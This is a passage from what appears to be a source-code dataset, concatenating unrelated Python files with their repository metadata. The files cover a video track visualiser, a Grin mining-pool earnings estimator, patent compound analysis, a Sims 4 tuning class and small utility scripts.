codecs.open(embeddings_file + '.l', 'w', 'utf-8') as fl: fl.write('\n'.join(labels)) wv_from_text.save_word2vec_format(embeddings_file) if embeddings_run.endswith('_temp'): os.remove(embeddings_run)
31.232877
117
0.658333
0
0
0
0
0
0
0
0
442
0.19386
b0d08b7dcc6e66d8aad9485ee7da2eca8c60ae84
188
py
Python
raster/__init__.py
manfre-lorson/MacPyver
62503dae69705a25202f24615e0c7cc88e10d753
[ "Apache-2.0" ]
1
2021-11-03T01:49:47.000Z
2021-11-03T01:49:47.000Z
raster/__init__.py
manfre-lorson/MacPyver
62503dae69705a25202f24615e0c7cc88e10d753
[ "Apache-2.0" ]
null
null
null
raster/__init__.py
manfre-lorson/MacPyver
62503dae69705a25202f24615e0c7cc88e10d753
[ "Apache-2.0" ]
1
2018-07-11T09:23:45.000Z
2018-07-11T09:23:45.000Z
try: from . import tiff print("full tiff support") except: print("no tiff support") try: import hdf5 print("full hdf5 support") except: print("no hdf5 support")
13.428571
30
0.62766
0
0
0
0
0
0
0
0
72
0.382979
b0d2ea6ce566b3bde93b03ec4fb9ce3e2422e739
6,292
py
Python
clustering/track_visualization.py
XiaoSanGit/wda_tracker
b68ec0edb9daa6cc495815ba9ca549b36eec0369
[ "MIT" ]
24
2020-06-23T11:17:42.000Z
2022-03-29T00:38:09.000Z
clustering/track_visualization.py
XiaoSanGit/wda_tracker
b68ec0edb9daa6cc495815ba9ca549b36eec0369
[ "MIT" ]
13
2020-07-07T03:59:02.000Z
2022-03-30T04:28:06.000Z
clustering/track_visualization.py
XiaoSanGit/wda_tracker
b68ec0edb9daa6cc495815ba9ca549b36eec0369
[ "MIT" ]
9
2021-02-14T07:11:05.000Z
2021-12-23T12:47:08.000Z
import os from tqdm import tqdm import pandas as pd from utilities.helper import get_bbox_middle_pos,drawBoundingBox from clustering.clustering_utils import get_person_id_to_track,get_groundtruth_person_id_to_track import cv2 from utilities.helper import * from utilities.pandas_loader import load_csv class Track_Visualization: def __init__(self,dataset_base_folder,track_results_path,track_evaluation_results_path,cam_id, work_dirs,output_folder=None): self.work_dirs = work_dirs self.dataset_base_folder = dataset_base_folder self.track_results_path = track_results_path self.cam_id = cam_id self.track_evaluation_results_path = track_evaluation_results_path if output_folder is None: self.output_folder = os.path.join(self.work_dirs, "clustering", "drawn_track_videos") else: self.output_folder = output_folder self.track_colors = [(0,0,255),(0,255,0)] self.track_circle_radi = [2,1] def read_track_results(self,track_results_path): track_results = pd.read_csv(track_results_path) person_id_to_tracks = get_person_id_to_track(track_results) return person_id_to_tracks def read_ground_truth(self,person_identifier="ped_id"): dataset_base_path = os.path.join(self.dataset_base_folder ,"cam_{}".format(self.cam_id) ,"coords_cam_{}.csv".format(self.cam_id)) ground_truth = load_csv(self.work_dirs, dataset_base_path) ground_truth = ground_truth.groupby(["frame_no_gta", person_identifier], as_index=False).mean() ground_truth = adjustCoordsTypes(ground_truth, person_identifier=person_identifier) ground_truth = drop_unnecessary_columns(ground_truth) person_id_to_track = get_groundtruth_person_id_to_track(ground_truth) return person_id_to_track def read_track_evaluation_results(self): track_evaluation_results = pd.read_csv(self.track_evaluation_results_path) return track_evaluation_results def get_union_frame_nos(self,track1,track2): def track_to_frame_nos(track): result = [] for track_pos in track: result.append(track_pos["frame_no_cam"]) return result track1_frame_nos = track_to_frame_nos(track1) track2_frame_nos = track_to_frame_nos(track2) frame_no_union = set(track1_frame_nos).union(track2_frame_nos) frame_no_union = list(frame_no_union) frame_no_union.sort() return frame_no_union def draw_one_frame(self,img,until_frame_no,track,color,radius): for track_pos in track: bbox = track_pos["bbox"] bbox = tuple(map(int, bbox)) person_pos = get_bbox_middle_pos(bbox) person_pos = tuple(map(int, person_pos)) cv2.circle(img, person_pos, radius=radius, color=color, thickness=-1) if until_frame_no == track_pos["frame_no_cam"]: drawBoundingBox(img, bbox, color=color) if until_frame_no <= track_pos["frame_no_cam"]: break def draw_all_frames(self,union_frames,tracks,hid,oid): current_frame = union_frames[-1] for current_frame in union_frames: img_path = os.path.join(self.dataset_base_folder , "cam_{}".format(self.cam_id) , "image_{}_{}.jpg".format(current_frame, self.cam_id)) img = cv2.imread(img_path) for track_idx,track in enumerate(tracks): track_color = self.track_colors[track_idx % len(self.track_colors)] circle_radius = self.track_circle_radi[track_idx % len(self.track_circle_radi)] self.draw_one_frame(img,current_frame,track,track_color,circle_radius) track_output_folder = os.path.join(self.output_folder,"hid_{}_oid_{}".format(hid,oid)) os.makedirs(track_output_folder,exist_ok=True) track_output_image_path = os.path.join(track_output_folder,"image_{}_{}.jpg".format(current_frame, self.cam_id)) cv2.imwrite(track_output_image_path,img) def run_visualization(self): track_evaluation_results = self.read_track_evaluation_results() gt_person_id_to_track = self.read_ground_truth() tr_person_id_to_track = self.read_track_results(self.track_results_path) for idx, eval_res_row in tqdm(track_evaluation_results.iterrows(),total=len(track_evaluation_results)): hid = eval_res_row["hid"] oid = eval_res_row["oid"] if oid not in gt_person_id_to_track or hid not in tr_person_id_to_track: break gt_track = gt_person_id_to_track[oid] tr_track = tr_person_id_to_track[hid] union_frames = self.get_union_frame_nos(gt_track,tr_track) self.draw_all_frames(union_frames,[gt_track,tr_track],hid,oid) if __name__ == "__main__": trv = Track_Visualization(dataset_base_folder="/home/philipp/Downloads/Recording_12.07.2019" ,track_results_path="/home/philipp/work_dirs/clustering/single_camera_refinement/track_results_2.txt" ,track_evaluation_results_path="/home/philipp/work_dirs/clustering/evaluation_per_track_results.csv" ,work_dirs="/home/philipp/work_dirs" ,cam_id=2) trv = Track_Visualization(dataset_base_folder="/net/merkur/storage/deeplearning/users/koehl/gta/Recording_12.07.2019_17" , track_results_path="/home/koehlp/Downloads/work_dirs/clustering/single_camera_refinement/track_results_2.txt" , track_evaluation_results_path="/home/koehlp/Downloads/work_dirs/clustering/evaluation_per_track_results.csv" , work_dirs="/home/koehlp/Downloads/work_dirs" , cam_id=2 , output_folder="/net/merkur/storage/deeplearning/users/koehl/gta/drawn_tracks_matched") trv.run_visualization()
33.827957
139
0.665607
4,766
0.75747
0
0
0
0
0
0
774
0.123013
b0d30d1f5e1fa7c7ff3fa8d3f5343770ef436fc7
445
py
Python
Src/ZenCoding/zencoding/coda.py
JetBrains/ReSharperPowerToys
352d61acba98d71b4c7a63a1def9fe550b7a0e57
[ "Apache-2.0" ]
18
2015-01-22T18:18:17.000Z
2021-11-08T09:49:53.000Z
Src/ZenCoding/zencoding/coda.py
JetBrains/ReSharperPowerToys
352d61acba98d71b4c7a63a1def9fe550b7a0e57
[ "Apache-2.0" ]
null
null
null
Src/ZenCoding/zencoding/coda.py
JetBrains/ReSharperPowerToys
352d61acba98d71b4c7a63a1def9fe550b7a0e57
[ "Apache-2.0" ]
8
2015-05-15T19:34:04.000Z
2022-03-19T07:00:15.000Z
#!/usr/bin/env python # -*- coding: utf-8 -*- ''' Coda plug-in Created on Apr 20, 2009 @author: sergey ''' import os from zencoding import zen_core from zencoding.settings import zen_settings zen_core.newline = os.getenv('CODA_LINE_ENDING', zen_core.newline) zen_core.insertion_point = '$$IP$$' cur_line = 'hello world div>p' cur_index = 17 abbr = zen_core.find_abbr_in_line(cur_line, cur_index) if abbr: print(zen_core.expand_abbr(abbr))
19.347826
66
0.74382
0
0
0
0
0
0
0
0
150
0.337079
b0d43b5a5e1054b6e91b5c04e0aefe730f1c03da
958
py
Python
Scripts/simulation/world/rentable_lot_tuning.py
velocist/TS4CheatsInfo
b59ea7e5f4bd01d3b3bd7603843d525a9c179867
[ "Apache-2.0" ]
null
null
null
Scripts/simulation/world/rentable_lot_tuning.py
velocist/TS4CheatsInfo
b59ea7e5f4bd01d3b3bd7603843d525a9c179867
[ "Apache-2.0" ]
null
null
null
Scripts/simulation/world/rentable_lot_tuning.py
velocist/TS4CheatsInfo
b59ea7e5f4bd01d3b3bd7603843d525a9c179867
[ "Apache-2.0" ]
null
null
null
# uncompyle6 version 3.7.4 # Python bytecode 3.7 (3394) # Decompiled from: Python 3.7.9 (tags/v3.7.9:13c94747c7, Aug 17 2020, 18:58:18) [MSC v.1900 64 bit (AMD64)] # Embedded file name: T:\InGame\Gameplay\Scripts\Server\world\rentable_lot_tuning.py # Compiled at: 2014-09-09 00:07:16 # Size of source mod 2**32: 925 bytes from sims4.tuning.tunable import TunableTuple, Tunable from sims4.tuning.tunable_base import ExportModes class RentableZoneTuning: PRICE_MODIFIERS = TunableTuple(description='\n Global price modifiers for all rentable zones.\n ', add=Tunable(description='\n Add modifier for the price to rent a lot.\n ', tunable_type=float, default=0.0), multiply=Tunable(description='\n Multiplier for the price to rent a lot.\n ', tunable_type=float, default=1.0), export_class_name='TunablePriceModifiers', export_modes=(ExportModes.All))
50.421053
116
0.685804
530
0.553236
0
0
0
0
0
0
547
0.570981
b0d58a0cf4141bba29b28d7f0ec53b0cea18f50b
7,099
py
Python
grin-py/utils/MWGP_earningsEstimate.py
JPaulMora/grin-pool
c980fdbcae4edeaa661d36d5b6da6f7a49beed05
[ "Apache-2.0" ]
null
null
null
grin-py/utils/MWGP_earningsEstimate.py
JPaulMora/grin-pool
c980fdbcae4edeaa661d36d5b6da6f7a49beed05
[ "Apache-2.0" ]
null
null
null
grin-py/utils/MWGP_earningsEstimate.py
JPaulMora/grin-pool
c980fdbcae4edeaa661d36d5b6da6f7a49beed05
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/python3 # Copyright 2018 Blade M. Doyle # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ------------------------------------------------------------------------ ### # Estmate MWGrinPool earnings from historic data # Input: --days, --c29gps, --c31gps # Algorithm: # Get a list of the blocks found by MWGrinPool within the requested block range # For each pool-found-block: # Calculate the theoritical rewards for a user with provided GPS # Generate a graph import os import sys import argparse from datetime import datetime, timedelta try: import requests except Exception as e: print("Error: This script requires the 'requests' module, please run `pip3 install requests`") Graph = True try: import plotly import plotly.graph_objs as go except Exception as e: Graph = False mwURL = "https://api.mwgrinpool.com" NanoGrin = 1.0/1000000000.0 SecondsInDay = float(60*60*24) PPLNGSeconds = float(60*60*4) def print_header(): print(" ") print("############# MWGrinPool Average Daily Earnings #############") print("## ") if Graph == False: print(" WARNING: ") print(" This script requires the 'plotly' module to produce a graph") print(" Please run: `pip3 install plotly`") print(" (running in text mode)") print(" ") def print_footer(rewardTotal, c29gps, c31gps, numDays, startTS, endTS): print(" ") print(" ") print(" Report for {} days - from: {} to: {}".format(numDays, startTS.strftime("%m-%d-%y %H:%M"), endTS.strftime("%m-%d-%y %H:%M"))) print(" Mining C29 at {}gps, C31 at {}gps".format(c29gps, c31gps)) print(" ") print(" Total Rewards: {} Grin".format(rewardTotal)) print(" Avg Daily Reward = {} Grin".format(rewardTotal/NumDays)) print(" ") def epoch_to_dt(epoch): return datetime.fromtimestamp(epoch) parser = argparse.ArgumentParser() parser.add_argument("--days", help="Number of days to average over") parser.add_argument("--c29gps", help="Miners C29 Graphs/second") parser.add_argument("--c31gps", help="Miners C31 Graphs/second") parser.add_argument("--debug", help="Print lots of debug info") args = parser.parse_args() print_header() if args.days is None: NumDays = float(input(" Number of days to average over: ")) else: NumDays = float(args.days) if NumDays > 62: print(" ") print(" -- Error: Please limit your query to 60 days to prevent excess load on our pool API") print(" ") sys.exit(1) if args.c29gps is None: C29Gps = float(input(" Miners C29 Graphs/second: ")) else: C29Gps = float(args.c29gps) if args.c31gps is None: C31Gps = float(input(" Miners C31 Graphs/second: ")) else: C31Gps = float(args.c31gps) if args.debug is None: debug = False EndTS = datetime.now() startTS = EndTS - timedelta(days=NumDays) # Get a list of the pool-found-blocks within the range poolblocksURL = mwURL + "/pool/blocks/0,1440/timestamp,height" poolblocksJSON = requests.get(url = poolblocksURL).json() poolblocks = [block['height'] for block in poolblocksJSON if(block['timestamp'] >= startTS.timestamp() and block['timestamp'] <= EndTS.timestamp())] poolblocks.sort() debug and print("Pool Blocks found in range: {}".format(poolblocks)) print(" ") print(" Getting Mining Data: ") rewardTotal = 0 x = [startTS] y = [0] debug and print("Start Time: {} - {}".format(startTS, startTS.timestamp())) debug and print("End Time: {} - {}".format(EndTS, EndTS.timestamp())) debug or sys.stdout.write(" ") sys.stdout.flush() for blockHeight in poolblocks: # For each pool block, get some information: # Secondary Scale Value # Any TX fees included in the block reward grinBlockURL = mwURL + "/grin/block/{}/timestamp,height,secondary_scaling,fee".format(blockHeight) grinblockJSON = requests.get(url = grinBlockURL).json() # Pool GPS at that block height poolGpsURL = mwURL + "/pool/stat/{}/gps".format(blockHeight) poolGpsJSON = requests.get(url = poolGpsURL).json() # Calculate theoretical miners reward scale = (2**(1+31-24)*31)/float(max(29, grinblockJSON['secondary_scaling'])) minerValue = C29Gps + C31Gps*scale poolValue = 0 for gps in poolGpsJSON['gps']: if gps['edge_bits'] == 29: poolValue += gps['gps'] else: poolValue += gps['gps']*scale debug and print("Miner value: {}, pool value: {}".format(minerValue, poolValue)) fullMinersReward = (minerValue/poolValue)*(60+grinblockJSON['fee']*NanoGrin) tsNow = datetime.fromtimestamp(grinblockJSON['timestamp']) timedelta = tsNow - startTS # Check if we get the full reward or not if(timedelta.total_seconds() < PPLNGSeconds): minersReward = fullMinersReward * (timedelta.total_seconds()/PPLNGSeconds) else: minersReward = fullMinersReward debug and print(" + Miners reward for {} block {}: {}".format(datetime.fromtimestamp(grinblockJSON['timestamp']).strftime('%c'), blockHeight, minersReward)) rewardTotal += minersReward # Graph x.append(tsNow) timedelta = tsNow - startTS debug and print("timedelta = {}".format(timedelta)) daysSinceStartTS = float(timedelta.total_seconds())/float(SecondsInDay) debug and print("daysSinceStartTS = {}".format(daysSinceStartTS)) y.append(rewardTotal/daysSinceStartTS) debug and print(" ") debug or sys.stdout.write(".") sys.stdout.flush() x.append(EndTS) y.append(rewardTotal/NumDays) print_footer(rewardTotal, C29Gps, C31Gps, NumDays, startTS, EndTS) if Graph == True: print("Generating graph...") graphName = "Avg Daily Reward: {} Grin".format(round(rewardTotal/NumDays, 2)) graphData = [go.Scatter(x=x, y=y, name=graphName)] graphLayout = go.Layout( title=go.layout.Title(text=graphName), xaxis=go.layout.XAxis( title=go.layout.xaxis.Title( text='Time', font=dict( family='Courier New, monospace', size=18, color='#008000' ) ) ), yaxis=go.layout.YAxis( title=go.layout.yaxis.Title( text='Grin', font=dict( family='Courier New, monospace', size=18, color='#008000' ) ) ), ) graphFigure = go.Figure(data=graphData, layout=graphLayout) graph_name = "estimate-{}days.html".format(NumDays) plotly.offline.plot(graphFigure, filename=graph_name)
35.318408
162
0.646993
0
0
0
0
0
0
0
0
2,695
0.379631
b0d7ebc0b913cd1eef91933fd5bfa8848faaf124
10,700
py
Python
cpd_analysis.py
jfmalloy1/Patents
734e62497acfbd9be42980b310379979415ab924
[ "MIT" ]
null
null
null
cpd_analysis.py
jfmalloy1/Patents
734e62497acfbd9be42980b310379979415ab924
[ "MIT" ]
null
null
null
cpd_analysis.py
jfmalloy1/Patents
734e62497acfbd9be42980b310379979415ab924
[ "MIT" ]
null
null
null
# import igraph as ig # import numpy as np import pickle import pandas as pd from tqdm import tqdm import os import heapq import scipy.stats as stats from random import sample def build_cpd_df(fp): """ Takes 29 separate compound data files and combines them into a single pandas dataframe for ease of access Args: fp (string): Filepath to SureChemBL data files (assuming G drive goes to jmalloy3 Google Account) Returns: None - but does write a pickled dataframe to SureChemBL_Patents/Cpd_Data/ directory """ dfs = [] for f in tqdm(os.listdir(fp)): if f.endswith(".txt"): dfs.append(pd.read_csv(fp + f, sep="\t", header=0)) df = pd.concat(dfs, ignore_index=True) print(df) pickle.dump(df, file=open(fp + "SureChemBL_allCpds.p", "wb")) del df def find_highest_degrees(df, n, start, stop): """ Finds the n highest-degree compounds within a specific date range Saves various data associated with those n comopunds - smiles, inchi, inchikey, degree, preferential attachment value Args: df (pandas dataframe): dataframe containing all SureChemBL compounds n (int): the number of highest-degree compounds to select start (int): 1st year of the range stop (int): last year of the range """ print("----------", start, stop, "----------") #Finding the top 10 preferential attachment compounds (from 1980-1984 as a test) full_id_degrees = pickle.load(file=open( "G:\\Shared drives\\SureChemBL_Patents\\Degrees\\full_id_degrees_" + str(start) + "_" + str(stop) + ".p", "rb")) pref_attach_dict = pickle.load(file=open( "G:\\Shared drives\\SureChemBL_Patents\\pref_attach_dict_" + str(start) + "_" + str(stop) + ".p", "rb")) #Find n compounds with largest degree highest_degree_cpds = heapq.nlargest(n, full_id_degrees, key=full_id_degrees.get) highest_degree_cpds_df = df[df["SureChEMBL_ID"].isin(highest_degree_cpds)] pref_attach_values = list(pref_attach_dict.values()) #Extra information to be added to the csv output file degrees = [] pref_attach_highestCpd_values = [] pref_attach_percentiles = [] for cpd in tqdm(highest_degree_cpds_df["SureChEMBL_ID"]): #Degree of compound degrees.append(full_id_degrees[cpd][-1]) #Preferential attachment value pref_attach_highestCpd_values.append(pref_attach_dict[cpd]) #Percentile of preferential attachment value pref_attach_percentiles.append( stats.percentileofscore(pref_attach_values, pref_attach_dict[cpd])) highest_degree_cpds_df["degree"] = degrees highest_degree_cpds_df["pref_attach_value"] = pref_attach_highestCpd_values highest_degree_cpds_df["pref_attach_percentile"] = pref_attach_percentiles highest_degree_cpds_df.to_csv( "G:\\Shared drives\\SureChemBL_Patents\\Cpd_Data/highest_degree_data_" + str(start) + "_" + str(stop) + "_1000.csv") print() def find_llanos_cpds(fp, df): """ Tests various compounds found in Llanos et al (2019) in SureChemBL data Llanos et al used Reaxys data to find the most popular compounds. This checks where those compounds appear, if at all, in SureChembL patent data Args: df (pandas dataframe): dataframe of all SureChemBL chemistry """ cpds_1980_2015_inchi = { "acetic anhydride": "InChI=1S/C4H6O3/c1-3(5)7-4(2)6/h1-2H3", "methanol": "InChI=1S/CH4O/c1-2/h2H,1H3", "methyl iodide": "InChI=1S/CH3I/c1-2/h1H3", "diazomethane": "InChI=1S/CH2N2/c1-3-2/h1H2", "formaldehyde": "InChI=1S/CH2O/c1-2/h1H2", "benzaldehyde": "InChI=1S/C7H6O/c8-6-7-4-2-1-3-5-7/h1-6H", "copper(II) oxide": "InChI=1S/Cu.O", "ethanol": "InChI=1S/C2H6O/c1-2-3/h3H,2H2,1H3", "benzoyl chloride": "InChI=1S/C7H5ClO/c8-7(9)6-4-2-1-3-5-6/h1-5H", "carbon monoxide": "InChI=1S/CO/c1-2", "water (2000)": "InChI=1S/H2O/h1H2", "Trifluoroacetic acid (2000)": "InChI=1S/C2HF3O2/c3-2(4,5)1(6)7/h(H,6,7)", "Phenylacetylene (2000)": "InChI=1S/C8H6/c1-2-8-6-4-3-5-7-8/h1,3-7H", "benzyl bromide (2000)": "InChI=1S/C7H7Br/c8-6-7-4-2-1-3-5-7/h1-5H,6H2" } #Find stats for Llanos compounds - use 2015 data for stats (I really need to make a consensus graph) full_id_degrees = pickle.load(file=open( "G:\\Shared drives\\SureChemBL_Patents\\Degrees\\full_id_degrees_2015_2019.p", "rb")) pref_attach_dict = pickle.load(file=open( "G:\\Shared drives\\SureChemBL_Patents\\pref_attach_dict_2015_2019.p", "rb")) pref_attach_values = list(pref_attach_dict.values()) #Loop through Llanos compounds with open(fp + "llanos_cpds.csv", "a") as f: f.write( "name,inchi,SureChemBL_ID,degree,pref_attach_value,pref_attach_percentile\n" ) for name, inchi in cpds_1980_2015_inchi.items(): s = df[df["InChI"] == inchi] if not s.empty: #if SureChemBL holds that compound, save id & stats #Degree of compound degree = full_id_degrees[s.iloc[0]["SureChEMBL_ID"]][-1] #Preferential attachment value pref_attach_value = pref_attach_dict[s.iloc[0]["SureChEMBL_ID"]] #Percentile of preferential attachment value pref_attach_percentile = stats.percentileofscore( pref_attach_values, pref_attach_dict[s.iloc[0]["SureChEMBL_ID"]]) f.write(name + ",\"" + inchi + "\"," + s.iloc[0]["SureChEMBL_ID"] + "," + str(degree) + "," + str(pref_attach_value) + "," + str(pref_attach_percentile) + "\n") else: #if not, no name nor stats f.write(name + ",\"" + inchi + "\",na,na,na,na\n") def build_month_increments(start, stop): """ Build all monthly increments from the start year to stop year in the format YEAR-MONTH Args: start (int): start year of increments stop (int): end year of increments Returns: list: list of strings holding the YEAR-MONTH increments """ months = [] while start <= stop: for month in [ "01", "02", "03", "04", "05", "06", "07", "08", "09", "10", "11", "12" ]: months.append(str(start) + "-" + month) start += 1 return months def sample_compounds_unique(n, months, cpds, cpd_df): """ Sample compounds which are uniquely added in a specific month This uniquess is determined by determing when a compound is added in a month and has not been present in the patent record before that month. Args: n (int): Number of compounds to sample every month months (list): list of months to sample from cpds (list): all SureChemBL IDs of compounds added in a specific month cpd_df (pandas dataframe): Master dataframe of all compounds """ sample_inchis = {} print("----- Sampling unique compounds -----") for i in tqdm(range(len(months))): offset = 216 #Account for starting in 1980 instead of 1962 #Only sample if there are more than 1000 compounds if len(cpds[i+offset]) > n: sample_cpds = sample(cpds[i+offset], n) else: sample_cpds = cpds[i+offset] sub_df = cpd_df[cpd_df["SureChEMBL_ID"].isin(sample_cpds)] sample_inchis[months[i]] = list(sub_df["InChI"]) print("\n----- Saving compounds -----") pickle.dump(sample_inchis, file=open("Data/sample_inchi_1000_NEW.p", "wb")) def sample_compounds(n1, n2, months, cpd_df): """ Sample n compounds from each month, initially with overlap allowed //TODO: fix so that only unique-to-that-month compounds are sampled Args: n (int): number of compounds to sample n2 (int): another number of compounds to sample months (string): description of month, e.g. 1980-01 cpd_df (pandas dataframe): contains information for each compound in SureChemBL, including InChIKey Returns: list: list of all randomly sampled compounds (in inchi?) """ #Inchis for all sampled compounds sample_inchis_n1 = {} sample_inchis_n2 = {} print("----- Sampling Compounds ------\n") for month in tqdm(months): cpds = pickle.load(file=open( "G:\\Shared drives\\SureChemBL_Patents\\CpdPatentIdsDates\\unique_cpds_" + month + ".p", "rb")) sample_cpds_n1 = sample(cpds, n1) sample_cpds_n2 = sample(cpds, n2) sub_df = cpd_df[cpd_df["SureChEMBL_ID"].isin(sample_cpds_n1)] sample_inchis_n1[month] = list(sub_df["InChI"]) sub_df = cpd_df[cpd_df["SureChEMBL_ID"].isin(sample_cpds_n2)] sample_inchis_n2[month] = list(sub_df["InChI"]) #Save memory by removing cpd datframe and monthly compounds del (cpd_df) del (cpds) #Save sampled inchis to pickle files print("\n----- Saving Data -----") pickle.dump(sample_inchis_n1, file=open("Data/sample_inchi_100.p", "wb")) pickle.dump(sample_inchis_n2, file=open("Data/sample_inchi_1000.p", "wb")) def main(): # ### Highest Degree compounds ### data_fp = "G:\\Shared drives\\SureChemBL_Patents\\Cpd_Data\\" # # build_cpd_df(data_fp) #NOTE: only needs to be run once cpd_df = pickle.load(file=open(data_fp + "SureChemBL_allCpds.p", "rb")) print(cpd_df.columns) # ### Statistics over highest degree compounds ### # n = 1000 #Number of compounds to find # for range in [(1980, 1984), (1985, 1989), (1990, 1994), (1995, 1999), # (2000, 2004), (2005, 2009), (2010, 2014), (2015, 2019)]: # find_highest_degrees(cpd_df, n, range[0], range[1]) # ### Testing Llanos et al (2019) compounds ### # find_llanos_cpds(data_fp, cpd_df) ### Sampling compounds for MA analysis ### month_unique_cpds = pickle.load(file=open( "G:\\Shared drives\\SureChemBL_Patents\\CpdPatentIdsDates\\unique_cpds_AllMonths.p", "rb")) sample_compounds_unique(1000, build_month_increments(1980, 2019), month_unique_cpds, cpd_df) # sample_compounds(100, 1000, build_month_increments(1980, 2019), cpd_df) ### MA Analysis ### if __name__ == "__main__": main()
36.148649
113
0.622056
0
0
0
0
0
0
0
0
5,828
0.544673
b0d801bb287e5fc7e3b701b27f659bf6cdfd48e3
303
py
Python
src/tests/pyfrc_test.py
SpookyWoogin/robot2018
a8ddf6a64b883904b15031e0ae13b2056faed4f5
[ "MIT" ]
1
2018-10-24T21:43:00.000Z
2018-10-24T21:43:00.000Z
src/tests/pyfrc_test.py
SpookyWoogin/robot2018
a8ddf6a64b883904b15031e0ae13b2056faed4f5
[ "MIT" ]
1
2018-03-10T01:25:47.000Z
2018-03-10T03:33:36.000Z
src/tests/pyfrc_test.py
SpookyWoogin/robot2018
a8ddf6a64b883904b15031e0ae13b2056faed4f5
[ "MIT" ]
6
2018-01-13T17:54:31.000Z
2018-02-13T23:46:50.000Z
def test_drivetrain_nt(Notifier): import networktables from robot import Rockslide robot = Rockslide() robot.robotInit() drivetrain = robot.drivetrain drivetrain.periodic() assert networktables.NetworkTables.getTable("/Drivetrain/Left").getNumber("Position", None) == 0.0
25.25
102
0.726073
0
0
0
0
0
0
0
0
28
0.092409
b0d95d877dbc18f3a49976b9ba5deae89d43a171
350
py
Python
finished/python_principles/05_type_check.py
UltiRequiem/daily-python-practice
31f72c45378be90b8fcadd30d7042819ee551a17
[ "MIT" ]
8
2021-05-29T23:30:12.000Z
2021-09-24T03:25:44.000Z
finished/python_principles/05_type_check.py
UltiRequiem/daily-python-practice
31f72c45378be90b8fcadd30d7042819ee551a17
[ "MIT" ]
null
null
null
finished/python_principles/05_type_check.py
UltiRequiem/daily-python-practice
31f72c45378be90b8fcadd30d7042819ee551a17
[ "MIT" ]
6
2021-06-02T14:20:24.000Z
2021-08-19T00:49:26.000Z
""" Your function should return True if both parameters are integers, and False otherwise. """ def only_ints(a, b) -> bool: return type(a) == int and type(b) == int def tests() -> None: print(only_ints(4, 8)) print(only_ints(4, "u")) print(only_ints("a", 4)) print(only_ints(4, True)) if __name__ == "__main__": tests()
18.421053
86
0.62
0
0
0
0
0
0
0
0
110
0.314286
b0da89a6bb254fa22755c06a1a618c46fe33ed81
3,775
py
Python
media/limited_series.py
FellowHashbrown/MediaQueue
0844649709698c66b7ed14e70436b3830ab18627
[ "MIT" ]
null
null
null
media/limited_series.py
FellowHashbrown/MediaQueue
0844649709698c66b7ed14e70436b3830ab18627
[ "MIT" ]
null
null
null
media/limited_series.py
FellowHashbrown/MediaQueue
0844649709698c66b7ed14e70436b3830ab18627
[ "MIT" ]
null
null
null
import os from json import dump from typing import List from media import Episode, Show from options import options class LimitedSeries(Show): """A LimitedSeries is a Show that has only 1 Season of Episodes. In this, only the Episodes need to be specified :param name: The name of this LimitedSeries :param episodes: A list of Episodes in this LimitedSeries :param provider: The name of the streaming provider this LimitedSeries is located on :param person: The person that is watching this LimitedSeries :keyword started: Whether or not this LimitedSeries has been started (Defaults to False) :keyword finished: Whether or not this LimitedSeries has been finished (Defaults to False) :keyword json: The JSON object to load a LimitedSeries object from :keyword filename: The JSON file to load a LimitedSeries object from :raises FileNotFoundError: When the JSON file cannot be found :raises KeyError: When the required parameters are missing from the JSON object """ FOLDER = "limitedSeries" def __init__(self, name: str = None, provider: str = None, person: str = None, episodes: List[Episode] = None, *, started: bool = False, finished: bool = False, json: dict = None, filename: str = None): super().__init__(name, provider, person, episodes=episodes, started=started, finished=finished, json=json, filename=filename) def __str__(self): return "LimitedSeries({}, {}, {}, {}, {}, {}, {})".format( self.get_id(), self.get_name(), self.get_provider(), self.get_person(), "Started" if self.is_started() else "Not Started", "Finished" if self.is_finished() else "Not Finished", ", ".join([str(episode) for episode in self.get_episodes()]) ) def __eq__(self, limited_series: 'LimitedSeries'): if not isinstance(limited_series, LimitedSeries): return False return (limited_series.get_name() == self.get_name() and {limited_series.get_episodes()} == {self.get_episodes()} and limited_series.get_provider() == self.get_provider() and limited_series.get_person() == self.get_person() and limited_series.is_started() is self.is_started() and limited_series.is_finished() is self.is_finished()) # # # # # # # # # # # # # # # # # # # # # # # # # def to_csv(self) -> str: """Returns the CSV representation of this LimitedSeries object""" show_csv = "\"{}\",{},{},{},{}".format( self.get_name(), self.get_provider(), self.get_person(), self.is_started(), self.is_finished() ) episodes_csv = "\n".join(episode.to_csv() for episode in self.get_episodes()) return f"LimitedSeries\n{show_csv}\n{episodes_csv}" def to_json(self) -> dict: """Returns the JSON representation of this LimitedSeries object""" super_json = super().to_json() super_json.pop("seasons") # A limited series shouldn't have Seasons return super_json def save(self): """Saves this LimitedSeries object into a JSON file""" if not os.path.exists(f"{options.get_base_dir()}/data"): os.mkdir(f"{options.get_base_dir()}/data") if not os.path.exists(f"{options.get_base_dir()}/data/{LimitedSeries.FOLDER}"): os.mkdir(f"{options.get_base_dir()}/data/{LimitedSeries.FOLDER}") with open("{}/data/{}/{}.json".format(options.get_base_dir(), LimitedSeries.FOLDER, self.get_id()), "w") as jsonfile: dump(self.to_json(), jsonfile, indent=4)
45.481928
125
0.625166
3,655
0.968212
0
0
0
0
0
0
1,546
0.409536
b0daa63a5af9ec548e408e77f43dd85ab4843906
462
py
Python
__findModuleLocations.py
simdevex/01.Basics
cf4f372384e66f4b26e4887d2f5d815a1f8e929c
[ "MIT" ]
null
null
null
__findModuleLocations.py
simdevex/01.Basics
cf4f372384e66f4b26e4887d2f5d815a1f8e929c
[ "MIT" ]
null
null
null
__findModuleLocations.py
simdevex/01.Basics
cf4f372384e66f4b26e4887d2f5d815a1f8e929c
[ "MIT" ]
null
null
null
''' Python program to find the location of Python modulesources ''' #Location of Python module sources: import imp print("Location of Python os module sources:") print(imp.find_module('os')) print("\nLocation of Python sys module sources:") print(imp.find_module('datetime')) #List of directories of specific module: import os print("\nList of directories in os module:") print(os.path) print("\nList of directories in sys module:") import sys print(sys.path)
24.315789
59
0.75974
0
0
0
0
0
0
0
0
312
0.675325
b0dc67e2fb068fd1e2da407f360e7696247d97ff
8,104
py
Python
api.py
gitroulette/gitroulette
0c53cdf843b202efa7d0e7a3fcbcb0a7bc7f0b0b
[ "Apache-2.0" ]
null
null
null
api.py
gitroulette/gitroulette
